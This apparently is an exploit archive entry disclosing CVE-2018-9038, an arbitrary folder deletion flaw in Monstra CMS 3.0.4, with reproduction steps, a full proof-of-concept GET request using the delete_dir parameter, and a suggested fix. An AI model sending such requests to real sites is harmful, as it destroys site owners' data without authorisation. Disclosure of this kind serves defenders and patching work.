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Monstra CMS 3.0.4 Arbitrary Folder Deletion

Monstra CMS 3.0.4 Arbitrary Folder Deletion
Posted Apr 25, 2018
Authored by Wenming Jiang

Monstra CMS version 3.0.4 suffers from an arbitrary folder deletion vulnerability.

tags | exploit, arbitrary
advisories | CVE-2018-9038
MD5 | 9f7cb4841fc668bcadbb64cd957faf1d

Monstra CMS 3.0.4 Arbitrary Folder Deletion

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# Exploit Title: Monstra CMS 3.0.4 allows remote attackers to delete folder via an get request
# Date: 2018-03-26
# Exploit Author: Wenming Jiang
# Vendor Homepage: https://github.com/monstra-cms/monstra
# Software Link: https://github.com/monstra-cms/monstra
# Version: 3.0.4
# Tested on: macos 10.12.6, php 5.6, apache2.2.29
# CVE :CVE-2018-9038


Description:
Monstra CMS 3.0.4 allows remote attackers to delete folder via an admin/index.php?id=filesmanager&delete_dir=./&path=uploads/ request.


Steps to Reproduce:
1aLog in as a user with page editing permissions
2aRequest http://your_site/admin/index.php?id=filesmanager&delete_dir=./&path=uploads
3aThe uploads folder will be deleted.


Poc code:
GET /monstra/admin/index.php?id=filesmanager&delete_dir=./&path=uploads/&token=008708df48237172f6fe2d173dc30529eac132de HTTP/1.1
Host: localhost:8000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.10 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8000/monstra/admin/index.php?id=filesmanager&path=uploads/
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: SQLiteManager_currentLangue=2; PHPSESSID=882dd1e203c979cedba4524f8107eca3; _ga=GA1.1.1742657188.1524382699; _gid=GA1.1.918663288.1524382699
Connection: close



Vulnerability Type:
Insecure Permissions


Expected Behavior:
deleted uploads folder



Possible Solutions:
Strictly filter the delete_dir parameter and replace './' with '_/'



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